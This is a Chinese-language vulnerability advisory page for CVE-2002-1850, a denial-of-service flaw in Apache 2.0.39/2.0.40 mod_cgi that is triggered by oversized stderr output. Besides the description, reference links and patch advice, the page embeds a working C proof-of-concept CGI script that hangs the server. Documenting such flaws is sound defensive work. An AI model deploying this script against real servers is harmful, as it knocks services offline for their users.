CVE-2002-1850
CVSS5.0
发布时间 :2002-12-31 00:00:00
修订时间 :2016-10-17 22:27:37
NMCOE    

[原文]mod_cgi in Apache 2.0.39 and 2.0.40 allows local users and possibly remote attackers to cause a denial of service (hang and memory consumption) by causing a CGI script to send a large amount of data to stderr, which results in a read/write deadlock between httpd and the CGI script.


[CNNVD]Apache2 MOD_CGI STDERR拒绝服务攻击漏洞(CNNVD-200212-121)

        
        Apache HTTP服务器是流行的开源WEB服务器程序,可使用在Unix和Windows操作系统下。
        Apache2在处理CGI脚本输出超多数据到STDERR时存在问题,本地攻击者可以利用这个漏洞对Apache服务程序进行拒绝服务攻击。
        在mod_cgi模块下如果在完成写入和关闭STDOUT之前CGI脚本输出超过4096字节到STDERR,由于mod_cgi中write()调用被琐等待CGI中获得更多输入而挂起。问题主要是mod_cgi开始读取所有stdout输入,然后开始读取STDERR输出,APR的处理流的file_io只有4096字节的缓冲区,在后续的脚本继续写入数据到STDERR时会挂起,等待mod_cgi通过APR file_io从流中读取部分数据。
        由于Apache 2会等待从恶意CGI应用中获得更多输入,httpd进程就会挂起,当达到Apache限定的最大连接限制时,Apache就会停止正常的用户请求。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:apache:http_server:2.0.39Apache Software Foundation Apache HTTP Server 2.0.39
cpe:/a:apache:http_server:2.0.40Apache Software Foundation Apache HTTP Server 2.0.40

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1850
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1850
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200212-121
(官方数据源) CNNVD

- 其它链接及资源

http://cvs.apache.org/viewcvs.cgi/httpd-2.0/modules/generators/mod_cgi.c?r1=1.148.2.7&r2=1.148.2.8
(UNKNOWN)  CONFIRM  http://cvs.apache.org/viewcvs.cgi/httpd-2.0/modules/generators/mod_cgi.c?r1=1.148.2.7&r2=1.148.2.8
http://issues.apache.org/bugzilla/show_bug.cgi?id=10515
(UNKNOWN)  MISC  http://issues.apache.org/bugzilla/show_bug.cgi?id=10515
http://issues.apache.org/bugzilla/show_bug.cgi?id=22030
(PATCH)  MISC  http://issues.apache.org/bugzilla/show_bug.cgi?id=22030
http://marc.info/?l=apache-httpd-dev&m=103291952019514&w=2
(UNKNOWN)  MLIST  [apache-httpd-dev] 20020925 CGI bucket needed
http://seclists.org/bugtraq/2002/Sep/0253.html
(UNKNOWN)  BUGTRAQ  20020923 Apache 2.0.(39|40) DOS (PHP!)
http://securitytracker.com/id?1007823
(PATCH)  SECTRACK  1007823
http://www.iss.net/security_center/static/10200.php
(PATCH)  XF  apache-stderr-dos(10200)
http://www.securityfocus.com/bid/5787
(UNKNOWN)  BID  5787
http://www.securityfocus.com/bid/8725
(PATCH)  BID  8725

- 漏洞信息

Apache2 MOD_CGI STDERR拒绝服务攻击漏洞
中危 其他
2002-12-31 00:00:00 2006-09-08 00:00:00
远程※本地  
        
        Apache HTTP服务器是流行的开源WEB服务器程序,可使用在Unix和Windows操作系统下。
        Apache2在处理CGI脚本输出超多数据到STDERR时存在问题,本地攻击者可以利用这个漏洞对Apache服务程序进行拒绝服务攻击。
        在mod_cgi模块下如果在完成写入和关闭STDOUT之前CGI脚本输出超过4096字节到STDERR,由于mod_cgi中write()调用被琐等待CGI中获得更多输入而挂起。问题主要是mod_cgi开始读取所有stdout输入,然后开始读取STDERR输出,APR的处理流的file_io只有4096字节的缓冲区,在后续的脚本继续写入数据到STDERR时会挂起,等待mod_cgi通过APR file_io从流中读取部分数据。
        由于Apache 2会等待从恶意CGI应用中获得更多输入,httpd进程就会挂起,当达到Apache限定的最大连接限制时,Apache就会停止正常的用户请求。
        

- 公告与补丁

        厂商补丁:
        Apache Software Foundation
        --------------------------
        latest CVS release已经修正此问题:
        
        http://www.apache.org/

- 漏洞信息 (21854)

Apache 2.0.39/40 Oversized STDERR Buffer Denial Of Service Vulnerability (EDBID:21854)
linux dos
2002-09-24 Verified
0 K.C. Wong
N/A [点击下载]
source: http://www.securityfocus.com/bid/5787/info

Apache is prone to a denial of service condition when an excessive amount of data is written to stderr. This condition reportedly occurs when the amount of data written to stderr is over the default amount allowed by the operating system.

This may potentially be an issue in web applications that write user-supplied data to stderr. Additionally, locally based attackers may exploit this issue. 

This issue has been confirmed in Apache 2.0.39/2.0.40 on Linux operating systems. Apache on other platforms may also be affected. This issue does not appear to be present in versions prior to 2.0.x.

// Credit to: K.C. Wong
#include <stdio.h>
#include <time.h>
#include <unistd.h>
#include <fcntl.h>

#define SIZE 4075

void out_err()
{
        char buffer[SIZE];
        int i = 0;

        for (i = 0; i < SIZE - 1; ++i)
                buffer[i] = 'a' + (char )(i % 26);

        buffer[SIZE - 1] = '\0';

//
fcntl(2, F_SETFL, fcntl(2, F_GETFL) | O_NONBLOCK);

        fprintf(stderr, "short test\n");
        fflush(stderr);

        fprintf(stderr, "test error=%s\n", buffer);
        fflush(stderr);
} // out_err()

int main(int argc, char ** argv)
{
        fprintf(stdout, "Context-Type: text/html\r\n");
        fprintf(stdout, "\r\n\r\n");
        out_err();
        fprintf(stdout, "<HTML>\n");
        fprintf(stdout, "<body>\n");
        fprintf(stdout, "<h1>hello world</h1>\n");
        fprintf(stdout, "</body>\n");
        fprintf(stdout, "</HTML>\n");
        fflush(stdout);
        exit(0);
} // main()		

- 漏洞信息

2613
Apache HTTP Server mod_cgi stderr Output Handling Local DoS
Local Access Required Denial of Service
Loss of Availability
Vendor Verified

- 漏洞描述

- 时间线

2002-09-23 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 2.0.50 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站